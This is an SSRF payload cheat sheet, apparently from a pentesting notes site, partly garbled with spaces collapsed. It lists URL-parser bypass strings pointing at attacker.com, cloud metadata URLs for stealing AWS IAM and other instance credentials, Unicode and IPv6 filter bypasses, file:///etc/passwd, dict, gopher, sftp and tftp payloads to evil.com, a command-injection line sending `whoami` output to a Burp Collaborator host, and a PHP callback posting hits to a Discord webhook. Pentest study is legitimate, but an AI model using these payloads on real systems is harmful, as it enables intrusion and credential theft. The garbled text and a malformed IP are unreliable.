https:attacker.comhttps:/attacker.comhttp:/\\/\\attacker.comhttps:/\\attacker.com//attacker.com\\/\\/attacker.com//\\/attacker.com//attacker.com%0D%0A/attacker.com#attacker.com#%20@attacker.com@attacker.com<http://169.254.1698.254\\@attacker.com>attacker%00.comattacker%E3%80%82comattacker。comⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ# Try also to change attacker.com for 127.0.0.1 to try to access localhost# Try replacing https by http# Try URL-encoded characters<https://{domain}@attacker.com>https://{domain}.attacker.com<https://{domain}%6D@attacker.com><https://attacker.com/{domain}><https://attacker.com/?d={domain}><https://attacker.com#{domain}><https://attacker.com>@{domain}<https://attacker.com#@{domain}><https://attacker.com>%23@{domain}<https://attacker.com>%00{domain}<https://attacker.com>%0A{domain}<https://attacker.com?{domain}><https://attacker.com///{domain}><https://attacker.com>\\{domain}/<https://attacker.com>;https://{domain}<https://attacker.com>\\{domain}/<https://attacker.com>\\.{domain}<https://attacker.com/.{domain>}<https://attacker.com>\\@@{domain}<https://attacker.com>:\\@@{domain}<https://attacker.com#\\@{domain}><https://attacker.com>\\anything@{domain}/<https://www.victim.com>(\\u2044)some(\\u2044)path(\\u2044)(\\u0294)some=param(\\uff03)hash@attacker.com# On each IP position try to put 1 attackers domain and the others the victim domain<http://1.1.1.1>&@2.2.2.2#@3.3.3.3/#Parameter pollutionnext={domain}&next=attacker.com# Bypass via open redirect<https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection>
Cloud Meta Data files
## AWS# from <http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories><http://169.254.169.254/latest/user-data><http://169.254.169.254/latest/user-data/iam/security-credentials/>[ROLE NAME]<http://169.254.169.254/latest/meta-data/iam/security-credentials/>[ROLE NAME]<http://169.254.169.254/latest/meta-data/ami-id><http://169.254.169.254/latest/meta-data/reservation-id><http://169.254.169.254/latest/meta-data/hostname><http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key><http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key># AWS - Dirs <http://169.254.169.254/><http://169.254.169.254/latest/meta-data/><http://169.254.169.254/latest/meta-data/public-keys/>## Google Cloud# <https://cloud.google.com/compute/docs/metadata># - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"<http://169.254.169.254/computeMetadata/v1/><http://metadata.google.internal/computeMetadata/v1/><http://metadata/computeMetadata/v1/><http://metadata.google.internal/computeMetadata/v1/instance/hostname><http://metadata.google.internal/computeMetadata/v1/instance/id><http://metadata.google.internal/computeMetadata/v1/project/project-id># Google allows recursive pulls <http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true>## Google# Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)<http://metadata.google.internal/computeMetadata/v1beta1/>## Digital Ocean# <https://developers.digitalocean.com/documentation/metadata/><http://169.254.169.254/metadata/v1.json><http://169.254.169.254/metadata/v1/><http://169.254.169.254/metadata/v1/id><http://169.254.169.254/metadata/v1/user-data><http://169.254.169.254/metadata/v1/hostname><http://169.254.169.254/metadata/v1/region><http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address>## Packetcloud<https://metadata.packet.net/userdata>## Azure# Limited, maybe more exist?# <https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/><http://169.254.169.254/metadata/v1/maintenance>## Update Apr 2017, Azure has more support; requires the header "Metadata: true"# <https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service><http://169.254.169.254/metadata/instance?api-version=2017-04-02><http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text>
## OpenStack/RackSpace # (header required? unknown)<http://169.254.169.254/openstack>## HP Helion # (header required? unknown)<http://169.254.169.254/2009-04-04/meta-data/>## Oracle Cloud<http://192.0.0.192/latest/><http://192.0.0.192/latest/user-data/><http://192.0.0.192/latest/meta-data/><http://192.0.0.192/latest/attributes/>## Alibaba<http://100.100.100.200/latest/meta-data/><http://100.100.100.200/latest/meta-data/instance-id><http://100.100.100.200/latest/meta-data/image-id>## Enclosed Alphanumeric<http://⑯⑨>。②⑤④。⑯⑨。②⑤④/<http://⓪ⓧⓐ⑨>。⓪ⓧⓕⓔ。⓪ⓧⓐ⑨。⓪ⓧⓕⓔ:80/SuccessfullybypassedaSSRFWAFbyusingacombinationofIPV6+Unicode.PayloadforMetadatainstances:http://[::ⓕⓕⓕⓕ:①⑥⑨。②⑤④。⑯⑨。②⑤④]:80Checkimagesforresponsedifferencebetween169.254.169.254andtheabovepayloadIshared
Protocols
file:///etc/passwddict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>ssrf.php?url=dict://attacker:11111/ssrf.php?url=sftp://evil.com:11111/ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKETssrf.php?url=ldap://localhost:11211/%0astats%0aquit# Gopher://Fortunately, you can use Gopherus[<https://github.com/tarunkant/Gopherus>] to create payloads for several services. Additionally, remote-method-guesser[<https://github.com/qtc-de/remote-method-guesser>] can be used to create gopher payloads for Java RMI services
Other Test Cases
# SSRF via Referrer header<https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery#ssrf-via-referrer-header># SSRF via SNI data from certificate --> <https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery#ssrf-via-sni-data-from-certificate>
openssls_client-connecttarget.com:443-servername"internal.host.com"-crlf# Wget File Upload <https://book.hacktricks.xyz/pentesting-web/file-upload#wget-file-upload-ssrf-trick># SSRF with Command Injectionurl=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`# PDFs RenderingIf the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here. <https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf>
# From SSRF to DoSCreateseveralsessionsandtrytodownloadheavyfilesexploitingtheSSRFfromthesessions.# SSRf PHP Functions
Host this PHP code after editing discord webhook in your server to get notified whenever there is SSRF
<?phpdate_default_timezone_set('Asia/Kolkata'); //Change this if you need to$date =date('Y-m-d H:i:s');$ip_address = $_SERVER['REMOTE_ADDR'];$user_agent = $_SERVER['HTTP_USER_AGENT'];$endpoint = $_SERVER['REQUEST_URI'];$log_message = "**Seems like you have a HIT**\n```Date: $date\t\nIP: $ip_address\t\nUser-Agent: $user_agent\t\nPath: $endpoint```\n";
// echo $log_message;echo"<body><h1>Hit Me Harder :) </h1></body>";$webhook_url = "https://discord.com/api/webhooks/10589949/E9uS3k9MxnI5CiIfmtmXHfornTObgZ_xl"; // replace with your webhook URL
$message =array("content"=>"$log_message"); // the message you want to send$ch =curl_init($webhook_url);curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json'));curl_setopt($ch, CURLOPT_POST,1);curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($message));curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);curl_exec($ch);curl_close($ch);?>